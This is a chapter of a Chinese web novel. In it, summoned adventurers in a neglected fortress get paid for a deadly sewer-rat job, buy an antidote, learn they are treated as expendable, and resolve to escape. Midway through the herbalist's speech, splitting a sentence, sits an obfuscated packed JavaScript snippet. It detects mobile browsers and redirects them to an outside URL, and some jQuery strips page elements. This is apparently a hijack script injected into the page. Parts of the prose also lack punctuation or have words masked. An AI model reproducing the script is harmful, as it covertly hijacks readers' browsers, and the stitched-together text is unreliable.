冰冷的阳光洒在“炉渣街”17号据点门口，却驱不散笼罩在五人身上的沉重阴霾和刺鼻的血腥、腐臭味。
张大山被安置在相对干燥的角落，身下垫着据点里最干净麻布。
他依旧昏迷着，脸色灰败，呼吸粗重而痛苦。
被肯特和苏文紧急处理的左手裹得像粽子，但渗出的暗红色和边缘隐约可见的黑紫色，无声地诉说着伤势的严重和腐毒的凶险。
苏文跪坐在旁边，小脸苍白，双手紧紧握着张大山没受伤的右手，眼神里充满了无助和害怕，口中念念有词，似乎在努力调动她那微弱的“奥术亲和”，
试图感知毒素的蔓延或带来一丝安抚。空气中弥漫着青艾粉苦涩的气味和绝望。
陈猛像一头困在笼中的受伤野兽，在狭小的据点里烦躁地踱步。
他身上的污泥和血渍都没顾上清理，眼睛赤红，紧握着自己的拳头，每一次目光扫过昏迷的张大山，胸膛就剧烈起伏一次，压抑的怒火几乎要从喉咙里喷出来。
肯特同样狼狈不堪，污秽和疲惫刻在脸上，但他的眼神却比以往任何时候都要沉静，沉静下压抑着即将沸腾的岩浆。
他快速整理着腰间的布袋——里面是十几根染血的灰鼠尾巴，是他们用命换来的任务凭证。
“林晓，”
肯特的声音低沉而沙哑，
“跟我去军需处交任务，领报酬。”
他顿了顿，目光扫过暴怒边缘的陈猛和虚弱的苏文，
“陈猛，苏文，你们留在这里照顾大山。要看好他，尽量别让伤口恶化，等我买药回来。”
“凭什么不让老子去？！”
陈猛猛地停下脚步，怒视着肯特，
“老子要去问问那个**霍顿！问问他这**是什么任务！问问他那两支队伍是不是也烂在老鼠窝里了！老子……”
“陈猛！”
肯特的声音陡然拔高，带沙哑和痛苦，瞬间压过了陈猛的咆哮。
他直视着陈猛赤红的双眼，
“你
现在去，除了把事情闹大，被卫兵抓起来甚至给他们砍了，还能做什么？
让大山在这里等死？
让苏文一个人面对？”
他指着昏迷的张大山，
“我们现在最需要的是钱！是药！是冷静！不是去送死或者找死！”
陈猛被噎住了，他看看昏迷的兄弟，又看看肯特那双沉静却燃烧着同样怒火的眼睛，胸膛剧烈起伏了几下，最终像泄了气的皮球，狠狠一拳砸在旁边的石墙上，发出一声沉闷的巨响，不再说话。
他明白肯特是对的，但那股无处发泄的憋屈和愤怒几乎要将他撕裂。
“看好他，等我回来。”肯特再次强调，语气不容置疑。他转向林晓，“我们走。”
林晓默默地点点头，她迅速整理了一下自己同样污秽的皮甲，将短弓背好，眼神里带着一丝坚毅。
她知道，现在不是害怕和哭泣的时候。
军需处那排低矮敦厚的石屋，在午后的阳光下依旧显得冰冷而压抑。
门口排着不长不短的队伍，大多是来领取或交还物资的士兵，他们看着肯特和林晓这两个浑身污泥血渍、散发着下水道恶臭的“新面孔”，投来的目光充满了审视、冷漠，甚至一丝不易察觉的……鄙夷。
肯特无视了那些目光，拉着林晓直接排到了队伍末尾。
他强迫自己保持冷静，但每一次呼吸都仿佛带着下水道的腐臭和张大山痛苦的呻吟。
林晓则紧抿着嘴唇。
轮到他们时，接待的依旧是那个下巴瘦削、眼袋深重的年轻办事员。
他眼皮都没抬，用羽毛笔沾着墨水，漫不经心地问：“队伍？任务？”
“‘星火’，第七号暗渠支段清理任务。”
肯特的声音尽量平稳，将装着灰鼠尾巴的布袋放在高高的柜台上。
办事员这才抬了抬眼皮，扫了一眼那沾满污血和秽物的布袋，脸上露出毫不掩饰的厌恶。
他捏着羽毛笔的末端，极其嫌弃地用笔尖拨开袋口，草草数了数里面的尾巴。
“嗯数量……勉强达标。”
他嘟囔着在厚厚的羊皮纸名册上找到“星火”的名字用力划了个勾然后从柜台下拿出一个小钱袋看也没看就丢在肯特面前发出叮当的轻响。
“10银币。签收。”
他又把名册和羽毛笔推过来。
肯特拿起钱袋沉甸甸的。
10枚银币张大山的半截手指和血换来的10枚银币。
他强忍着将钱袋砸回对方脸上的冲动拿起羽毛笔在名册上签下“星火”和自己的名字。
墨水在粗糙的羊皮纸上晕开如同他们此刻的心情。
“请问……”
肯特深吸一口气他想再确认一下一件事所以尽量让自己的声音听起来只是好奇
“之前接这个任务的‘铁荆棘’和‘破晓’小队……他们完成了吗？
我们在地下……好像没看到他们留下的标记。”他紧紧盯着办事员的眼睛。
办事员正忙着整理名册闻言动作顿了一下抬起眼皮瞥了肯特一眼那眼神像在看一个问出愚蠢问题的**。
他嗤笑一声带着浓重的鼻音：
“标记？他们不需要做标记了。任务失败尸体都没了怎么做标记？谁在乎？大概喂老鼠了吧。”
语气平淡得如同在说一件最平常不过的事情。
他挥了挥手像驱赶苍蝇一样“下一个！”
冰冷的字眼像**狠狠扎进肯特和林晓的心脏。
林晓身体猛地一颤
肯特只觉得一股寒气从脚底板直冲天灵盖手指死死捏住了那袋银币。
果然……连确认死亡的程序都如此草率！
在他们眼里这些“新星”连统计伤亡数字的价值都没有！
“走。”
肯特的声音干涩戴着沙哑。他拉着几乎站立不稳的林晓转身离开了柜台。
身后传来办事员冷漠的喊声：
“下一个！”
要塞内城的街道比“炉渣街”宽阔些许建筑也稍微规整但依旧弥漫着一种难以驱散的落魄。
肯特的目标很明确——找到能解腐毒的药。他攥着那袋染血的银币带着林晓穿梭在相对干净的街道上本来想去找之前听过的‘生命之泉’店铺…却被告知已经休业最终他们停在了一家门面稍显整洁、挂着“草药与炼金”招牌的店铺前。
比起外城的简陋草药摊这里显然高级许多。
店铺里弥漫着各种草药混合的奇异气味。
一个穿着学者长袍、头发花白的老者正坐在柜台后慢条斯理地用研钵研磨着一些干燥的根茎。
看到肯特和林晓进来尤其是他们身上浓烈的异味和狼狈的样子老者微微皱了皱眉但并未出言驱赶。
“您好我们需要能解灰鼠腐毒的药。”
肯特开门见山将钱袋放在柜台上
老者停下研磨的动作抬眼看着肯特目光在他脸上凝固的血渍和紧抿的嘴唇上停留片刻
又扫了一眼旁边脸色苍白、眼神带着恐惧的林晓最后落在那个明显是军需处下发的钱袋上。
他眼中闪过一丝了然随即是带着一丝怜悯的叹息。
“灰鼠腐毒……”
老者缓缓开口声音带着岁月沉淀的沙哑“很麻烦的东西。
要塞里被咬伤的士兵没有药的话运气好能截肢保命运气差……”
他摇了摇头没有说下去。他转身从身后的药柜里取出一个用软木塞密封的小巧水晶瓶里面是半瓶闪烁着微弱荧光的淡紫色液体。
“‘净血液’专门针对灰鼠腐毒一半口服一半外敷
能净化毒素促进伤口愈合一般分成3次使用就可以痊愈就是贵了些要5个银币。”
5银币！几乎是他们任务报酬的一半！
肯特的心猛地一沉但没有任何犹豫：
“要了！”
他立刻数出5枚还带着体温的银币推到老者
面前。为了大山，再贵也得买！
老者默默收下银币，将水晶瓶递给肯特。
在肯特接过瓶子的瞬间，老者忽然低声说道，语气带着一种近乎于自言自语的感慨：
“又是‘召唤阵’来的人吧？每次看到你们这些……眼神里带着茫然的年轻人，我就知道……”
肯特和林晓的身体同时一僵！
“您……您说什么？”肯特猛地抬头，死死盯住老者。
老者似乎意识到自己失言，但看着肯特和林晓那震惊又带着强烈求知的眼神，他叹了口气，声音压得更低：
“铁炉要塞……这里位置太偏，资源匮乏，常年被荒野的怪物侵扰，但因为远离王国的其他城市，早已落魄到只能勉力支撑了。
王国的资源……都倾斜给那些繁华或者重要的大要塞了。
这里的‘召唤阵’，等级很低，召唤来的‘新星’……初始能力大多不强。”
他的目光扫过肯特和林晓身上那寒酸的劣质装备，意思不言而喻。
“所以呢？”
肯特的声音冰冷得如同寒铁，心中那个可怕的猜想正在被证实。
“所以？”老者苦笑了一下，带着深深的无奈，
“对于某些要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16417342|184705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
塞的掌权者来说，与其花费宝贵的资源去培养一群可能没什么潜力、甚至可能死在训练中的‘低阶新星’，
不如……把他们当成一次性的消耗品，投入到最危险、最没人愿意去的任务里，‘废物利用’。”
他指了指肯特手中的水晶瓶，
“就像这药，5银币，可能是你们拼了命才换来的。
而在某些大要塞，被召唤的‘新星’会被当成真正的潜力种子培养，有导师，有装备，有正规的晋升途径，组成冒险队伍去探索遗迹、狩猎强大的魔兽，积累财富和声望……
而不是像你们这样，被扔进老鼠洞里送死。
如果不是王国法术契约的影响，你们可能连这10银币都拿不到。”
老者的话，像一把冰冷的手术刀，精准而残酷地剖开
了铁炉要塞对他们这些“外来者的本质！
不是什么所谓的“新星，是可悲“消耗品！
不是“勇者，是“炮灰！
霍顿的冷漠，任务的凶险，情报的缺失，甚至那被封死的出口……一切都有了最残忍的解释！
一股冰冷的、混杂着彻骨寒意和滔**意的风暴在肯特心中席卷！
他紧紧握住那瓶价值5银币的“净血液，仿佛要将其捏碎。
林晓更是捂住了嘴，眼泪在眼眶里打转，不是因为害怕，而是因为被赤裸裸的真相刺痛。
“谢谢您的药……和信息。
肯特的声音低沉而沙哑，每一个字都像是从牙缝里挤出来的。
他拉着失魂落魄的林晓，转身离开了药店。
走在回“炉渣街的路上，夕阳将他们的影子拉得瘦长。
内城的街道相对安静，但肯特的心却如同被投入冰窟又投入熔炉，反复煎熬。老者的话在脑海中反复回荡。
“消耗品……一次性的……低阶新星……
“繁华的大要塞……真正的潜力种子……正规的晋升途径……
只剩一个念头，如同在绝望黑暗中划过的闪电，瞬间照亮了肯特混乱的思绪，并迅速变得清晰、坚定！
离开这里！
必须离开铁炉要塞！离开这个将他们视为廉价消耗品的死亡囚笼！
他们要活下去，要变强，而不是烂在老鼠洞里或者成为下一个“铁荆棘
前往王国更繁华、更强大的要塞！在那里，被召唤者才能有机会得到真正的培养和发展！
所以他们需要积蓄力量！当下最重要的，是治好张大山的伤！
然后利用每一次任务，像海绵一样吸收战斗经验，磨练配合，压榨出每一分提升！
林晓的箭术，
苏文对元素的感知和可能的施法能力，
陈猛的战力，
张大山的坚实守护，
以及自己作为支援者的
后勤保障和战场调度……必须尽快成长！
还要积攒资本！每一枚铜板每一件装备都至关重要！
要精打细算甚至要想办法获取额外收入。
10银币的任务报酬远远不够！
需要更多！购买更好的装备、药品、补给甚至……未来离开要塞的旅费和“敲门砖”。
同时还要收集情报！
关于其他要塞的情况关于安全的迁移路线关于如何获得“正规”的身份和认可……
这些都需要在暗中留意和打听。那个药材商人或许可以是一个突破口…
最后就是等待时机…他们现在太弱小了。
贸然离开要塞外面是无尽的荒野和更恐怖的怪物同样是死路一条。
必须拥有足以自保的实力或者找到一个相对安全的契机。
这个念头如同燎原之火瞬间烧尽了之前的迷茫和纯粹的愤怒取而代之的是一种冰冷的、目标明确的决绝。支援者？
不现在他是求生者是这支小小队伍在绝境中寻找生路的规划者！
他看了一眼身边依旧沉浸在震惊和悲伤中的林晓没有立刻说出这个想法。
他需要先救回大山然后和所有同伴一起冷静地、坚定地做出这个决定。
这不是他一个人的逃亡是他们五个人的求生之路！
夕阳的余晖将铁炉要塞高耸的城墙染上一层悲壮的金红色。
肯特抬起头望向那冰冷压抑的城墙垛口眼神不再只有愤怒更添了一份穿透这囚笼、望向遥远未知的锐利与渴望。
他加快了脚步手中那瓶淡紫色的“净血液”沉甸甸的
据点就在前方那里有受伤的同伴有愤怒的战友有无助的少女。
而他的心中已经为所有人点燃了一簇名为“逃离”的火光。